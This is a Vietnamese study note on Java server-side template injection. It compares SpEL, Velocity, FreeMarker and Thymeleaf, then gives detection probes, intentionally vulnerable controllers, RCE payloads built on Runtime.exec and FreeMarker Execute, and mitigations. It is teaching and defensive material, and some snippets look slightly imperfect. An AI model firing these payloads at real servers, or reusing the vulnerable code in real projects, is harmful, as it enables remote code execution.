---
# System prepended metadata

title: '[Learning] Java SSTI - Part 1'
tags: [Web Exploitation, Java]

---

# Giới thiệu Server-Side Template Injection trong Java

## 1. SSTI là gì ?
- **Định nghĩa**: là một lỗi bảo mật xảy ra khi untrusted data được truyền trực tiếp vào template engine hoặc expression language mà không được sanitize. 
- **Nguyên lý chung**: 
  ```mermaid
  graph LR
  A[User Input] --> B[Template Engine]
  B --> C[AST Construction]
  C --> D[Code Execution]
  
  
- **Impact**: Có thể dẫn đến full system compromise nếu JVM chạy với quyền cao.


## 2. Template Engine phổ biến trong Java

### Spring Expression Language (SpEL)
**Context**: Spring Framework (Spring Boot), dùng trong `@Value`, XML configs.  
**Syntax**: `#{expression}`, `T(class).method()`, `new Class()`.  
**Ví dụ sử dụng an toàn**:
```java
@RestController
public class SafeController {
    @GetMapping("/welcome")
    public String welcome(@RequestParam String name) {
        ExpressionParser parser = new SpelExpressionParser();
        // Sử dụng SimpleEvaluationContext để giới hạn quyền
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        Expression exp = parser.parseExpression("'Hello ' + #name");
        return exp.getValue(context, name, String.class); // Safe
    }
}
```

### Apache Velocity
**Context**: Render templates (emails, pages).  
**Syntax**: `${object.method()}`, `#set`, `#if/#foreach`.  
**Ví dụ sử dụng an toàn**:
```java
public class VelocitySafe {
    public String renderWelcome(User user) {
        VelocityEngine ve = new VelocityEngine();
        ve.setProperty(RuntimeConstants.RUNTIME_REFERENCES_STRICT, true); // Bật strict mode
        ve.init();
        VelocityContext context = new VelocityContext();
        context.put("user", user);
        Template template = ve.getTemplate("templates/welcome.vm"); // Template cố định
        StringWriter writer = new StringWriter();
        template.merge(context, writer);
        return writer.toString();
    }
}
```

### FreeMarker
**Context**: HTML/email generation.  
**Syntax**: ${expression}, ?new(), <#if>, <#list>.  
**Ví dụ sử dụng an toàn**:
```java
public class FreeMarkerSafe {
    public String renderWelcome(User user) throws Exception {
        Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
        cfg.setClassForTemplateLoading(this.getClass(), "/templates");
        cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); // Bật sandbox
        Template template = cfg.getTemplate("welcome.ftl"); // Template cố định
        Map<String, Object> data = new HashMap<>();
        data.put("user", user);
        StringWriter out = new StringWriter();
        template.process(data, out);
        return out.toString();
    }
}
```

### Thymeleaf
**Context**: Spring Boot, hiện đại, HTML templates.  
**Syntax**: `th:text="${expression}"`, `th:utext`, `#{...}`.  
**Ví dụ sử dụng an toàn**:
```java
@Controller
public class ThymeleafSafeController {
    @GetMapping("/profile")
    public String profile(@RequestParam String tab, Model model) {
        // Chỉ cho phép giá trị tab trong whitelist
        if(!Arrays.asList("info", "settings").contains(tab)) {
            throw new IllegalArgumentException("Invalid tab");
        }
        model.addAttribute("user", userService.getCurrentUser());
        return "profile/" + tab; // Template cố định
    }
}
```

## 3. Detection & Exploit

### Payload đơn giản detect để detect engine
| Engine     | Payload Detect          | Kết quả dương tính |
|------------|-------------------------|-------------------|
| **SpEL**   | `#{7*7}`                | Trả về 49         |
| **Velocity** | `#set($x=7*7)${x}`     | Trả về 49         |
| **FreeMarker** | `${7*7}`              | Trả về 49         |
| **Thymeleaf** | `[[${7*7}]]`          | Trả về 49         |
| **JSP EL** | `${1+2}`               | Trả về 3          |

### Spring Expression Language (SpEL) - Vulnerable Code
```java
@RestController
public class VulnerableController {
    @GetMapping("/spel")
    public String spel(@RequestParam String input) {
        ExpressionParser parser = new SpelExpressionParser();
        
        // VULNERABLE: Sử dụng StandardEvaluationContext
        StandardEvaluationContext context = new StandardEvaluationContext();
        context.setVariable("input", input);
        
        // VULNERABLE: Cho phép user kiểm soát biểu thức
        Expression exp = parser.parseExpression(input);
        return exp.getValue(context, String.class);
    }
    
    // VULNERABLE: Sử dụng trong @Value với input không kiểm soát
    @Value("#{${customExpression}}")
    private String dynamicValue;
}
```
**Payload RCE**: `T(java.lang.Runtime).getRuntime().exec('calc')`

### Apache Velocity - Vulnerable Code
```java
public class VelocityVulnerable {
    public String render(String userTemplate) {
        VelocityEngine ve = new VelocityEngine();
        ve.init();
        VelocityContext context = new VelocityContext();
        
        // VULNERABLE: Cho phép user kiểm soát toàn bộ template
        StringWriter writer = new StringWriter();
        ve.evaluate(context, writer, "log", userTemplate);
        return writer.toString();
    }
}
```
**Payload RCE**: `#set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$str.valueOf($chr.toChars(33)))${$class.inspect("java.lang.Runtime").type.getRuntime().exec('calc')}`

### FreeMarker - Vulnerable Code
```java
public class FreeMarkerVulnerable {
    public String render(String templateName, Map<String, Object> data) throws Exception {
        Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
        cfg.setClassForTemplateLoading(this.getClass(), "/templates");
        
        // VULNERABLE: Cho phép user kiểm soát tên template
        Template template = cfg.getTemplate(templateName);
        
        // VULNERABLE: Cho phép user truyền object nguy hiểm
        StringWriter out = new StringWriter();
        template.process(data, out);
        return out.toString();
    }
}
```
**Payload RCE**: `/../(../)*/exploit.ftl` với nội dung exploit.ftl: `<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("calc") }`

### Thymeleaf - Vulnerable Code
```java
@Controller
public class ThymeleafVulnerableController {
    @GetMapping("/render")
    public String render(@RequestParam String templateContent, Model model) {
        // VULNERABLE: Render template từ input người dùng
        model.addAttribute("template", templateContent);
        return "dynamic-template";
    }
}
```
**Payload RCE**: `__${T(java.lang.Runtime).getRuntime().exec('calc')}__::.x`


## 4. Mitigation

### Biện pháp chung
- **Không bao giờ** để user kiểm soát template hoặc biểu thức
- Sử dụng template cố định với dữ liệu đầu vào đã validate
- Áp dụng nguyên tắc least privilege cho JVM

### Mitigation theo engine

**SpEL**:
```java
// LUÔN dùng SimpleEvaluationContext cho untrusted input
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();

// Vô hiệu hóa SpEL trong @Value
@Configuration
public class SpelConfig implements BeanFactoryPostProcessor {
    @Override
    public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) {
        ((AbstractBeanFactory) beanFactory).setBeanExpressionResolver(null);
    }
}
```

**Velocity**:
```java
// Bật strict mode và disable risky settings
ve.setProperty(RuntimeConstants.RUNTIME_REFERENCES_STRICT, true);
ve.setProperty(RuntimeConstants.EVENTHANDLER_INCLUDE, null);
ve.setProperty(RuntimeConstants.EVENTHANDLER_METHODEXCEPTION, null);
```

**FreeMarker**:
```java
// Kích hoạt sandbox mạnh mẽ
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

// Vô hiệu hóa ?new
cfg.setAPIBuiltinEnabled(false);
```

**Thymeleaf**:
```java
// Tắt pre-processing
spring.thymeleaf.mode=HTML

// Trong code Java
@Bean
public SpringTemplateEngine templateEngine() {
    SpringTemplateEngine engine = new SpringTemplateEngine();
    engine.setEnableSpringELCompiler(false);
    return engine;
}
```

**JSP/JSTL**:
```jsp
<!-- Vô hiệu hóa EL -->
<%@ page isELIgnored="true" %>

<!-- Hoặc dùng JSTL escape -->
<c:out value="${param.input}" />
```

### Cấu hình hệ thống
```properties
# Spring Boot: Tắt SpEL trong @Value
spring.spel.ignore=true

# Giới hạn quyền JVM
-Djava.security.manager
-Djava.security.policy==/path/to/security.policy
```

## 5. Reference
1. [OWASP: Server-Side Template Injection](https://owasp.org/www-community/attacks/Server-Side_Template_Injection)
2. [Spring Security: SpEL Evaluation Context](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html)
3. [FreeMarker Security Practices](https://freemarker.apache.org/docs/pgui_config_security.html)
4. [Thymeleaf Template Injection](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
5. [Java SSTI Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#java)
6. [CVE-2016-4977: Spring Security OAuth RCE](https://tanzu.vmware.com/security/cve-2016-4977)
7. [Secure Coding Guidelines for Java](https://www.oracle.com/java/technologies/javase/seccodeguide.html)
8. [Spring Framework RCE via Data Binding (CVE-2022-22965)](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)
